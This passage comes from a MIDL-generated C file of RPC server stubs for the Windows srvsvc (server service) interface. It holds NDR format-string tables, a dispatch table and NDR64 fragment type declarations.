*/\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3338 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3340 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3342 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3346 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3348 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (3334) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3352 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3354 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (3416) */\n/* 3356 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3358 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3362 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3370) */\n/* 3364 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3366 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (3340) */\n/* 3368 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3374 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3376 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3378 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3382 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3384 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3386 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3390 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3394 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3398 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3400 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3402 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3406 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3410 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3412 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3356) */\n/* 3414 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3416 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3418 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3422 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3428) */\n/* 3424 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3426 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3428 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3430 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3374) */\n/* 3432 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3434 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3438 */\tNdrFcLong( 0x20 ),\t/* 32 */\n/* 3442 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3444 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3446) */\n/* 3446 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3448 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3450 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3452 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3454 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3456 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3462 */\tNdrFcLong( 0x20 ),\t/* 32 */\n/* 3466 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3468 */\t\n\t\t\t0x12, 0x14,\t/* FC_UP [alloced_on_stack] [pointer_deref] */\n/* 3470 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3472) */\n/* 3472 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3474 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (3534) */\n/* 3476 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3478 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3482 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3488) */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3486 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3488 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3490 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3492 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3494 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3496 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3498 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3500 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3502 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3504 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3508 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3512 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3516 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3518 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3524 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3528 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3530 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (3476) */\n/* 3532 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3534 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3536 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3538 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (3492) */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3540) */\n/* 3542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3544 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3546 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3548 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3550) */\n/* 3550 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3552 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3554 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3556 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3558 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3560 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3564 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3568 */\tNdrFcShort( 0xfef4 ),\t/* Offset= -268 (3300) */\n/* 3570 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3572 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3574) */\n/* 3574 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3576 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3578 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3580 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3582 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3584 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3592 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3594) */\n/* 3594 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3596 */\tNdrFcShort( 0x3001 ),\t/* 12289 */\n/* 3598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3602 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3606) */\n/* 3604 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3603) */\n/* 3606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3608 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3610) */\n/* 3610 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3612 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3616 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3624) */\n/* 3618 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3620 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x3f,\t\t/* FC_STRUCTPAD3 */\n/* 3622 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3624 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3626 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3628 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3630 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3632 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3634 */\tNdrFcShort( 0x60 ),\t/* Offset= 96 (3730) */\n/* 3636 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3638 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3640 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3642 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3644 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3646 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3650 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3654 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3656) */\n/* 3656 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3658 */\tNdrFcShort( 0x3001 ),\t/* 12289 */\n/* 3660 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3668) */\n/* 3666 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3665) */\n/* 3668 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3670 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (3714) */\n/* 3672 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3676 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3680 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3682 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3692 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3696 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3698 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3704 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3708 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3710 */\tNdrFcShort( 0xff9c ),\t/* Offset= -100 (3610) */\n/* 3712 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3714 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3716 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3720 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3726) */\n/* 3722 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3724 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3726 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3728 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3672) */\n/* 3730 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3732 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3734 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3736 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3736) */\n/* 3738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3740 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3742 */\tNdrFcShort( 0xff96 ),\t/* Offset= -106 (3636) */\n/* 3744 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3746 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3748 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3750) */\n/* 3750 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3752 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3754 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3756 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3758 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3760 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3768 */\tNdrFcShort( 0xff52 ),\t/* Offset= -174 (3594) */\n/* 3770 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3772 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3774) */\n/* 3774 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3776 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3778 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3780 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3782 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3788 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3792 */\tNdrFcShort( 0xf4fe ),\t/* Offset= -2818 (974) */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const NDR_RUNDOWN RundownRoutines[] = \n    {\n    SHARE_DEL_HANDLE_rundown\n    };\n\n\nstatic const unsigned short srvsvc_FormatStringOffsetTable[] =\n    {\n    0,\n    30,\n    60,\n    90,\n    120,\n    150,\n    180,\n    210,\n    240,\n    314,\n    394,\n    456,\n    506,\n    586,\n    642,\n    704,\n    772,\n    834,\n    902,\n    958,\n    1014,\n    1070,\n    1126,\n    1188,\n    1262,\n    1330,\n    1386,\n    1454,\n    1510,\n    1560,\n    1590,\n    1652,\n    1732,\n    1800,\n    1862,\n    1936,\n    2004,\n    2072,\n    2134,\n    2178,\n    2246,\n    2314,\n    2370,\n    2400,\n    2450,\n    2530,\n    2586,\n    2648,\n    2678,\n    2752,\n    2814,\n    2870,\n    2962,\n    3012,\n    3068,\n    3124,\n    3192,\n    3248\n    };\n\n\nstatic const RPC_DISPATCH_FUNCTION srvsvc_table[] =\n    {\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE srvsvc_v3_0_DispatchTable = \n    {\n    58,\n    (RPC_DISPATCH_FUNCTION*)srvsvc_table\n    };\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-srvsvc.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag928_t;\nextern const __midl_frag928_t __midl_frag928;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag927_t;\nextern const __midl_frag927_t __midl_frag927;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag926_t;\nextern const __midl_frag926_t __midl_frag926;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag925_t;\nextern const __midl_frag925_t __midl_frag925;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag924_t;\nextern const __midl_frag924_t __midl_frag924;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag922_t;\nextern const __midl_frag922_t __midl_frag922;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag921_t;\nextern const __midl_frag921_t __midl_frag921;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag920_t;\nextern const __midl_frag920_t __midl_frag920;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag919_t;\nextern const __midl_frag919_t __midl_frag919;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag917_t;\nextern const __midl_frag917_t __midl_frag917;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag915_t;\nextern const __midl_frag915_t __midl_frag915;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag913_t;\nextern const __midl_frag913_t __midl_frag913;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag912_t;\nextern const __midl_frag912_t __midl_frag912;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag911_t;\nextern const __midl_frag911_t __midl_frag911;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag907_t;\nextern const __midl_frag907_t __midl_frag907;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag906_t;\nextern const __midl_frag906_t __midl_frag906;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag899_t;\nextern const __midl_frag899_t __midl_frag899;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag895_t;\nextern const __midl_frag895_t __midl_frag895;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag894_t;\nextern const __midl_frag894_t __midl_frag894;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag893_t;\nextern const __midl_frag893_t __midl_frag893;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag892_t;\nextern const __midl_frag892_t __midl_frag892;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag891_t;\nextern const __midl_frag891_t __midl_frag891;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag889_t;\nextern const __midl_frag889_t __midl_frag889;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag888_t;\nextern const __midl_frag888_t __midl_frag888;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag887_t;\nextern const __midl_frag887_t __midl_frag887;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag884_t;\nextern const __midl_frag884_t __midl_frag884;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag882_t;\nextern const __midl_frag882_t __midl_frag882;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag879_t;\nextern const __midl_frag879_t __midl_frag879;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag868_t;\nextern const __midl_frag868_t __midl_frag868;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag867_t;\nextern const __midl_frag867_t __midl_frag867;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag863_t;\nextern const __midl_frag863_t 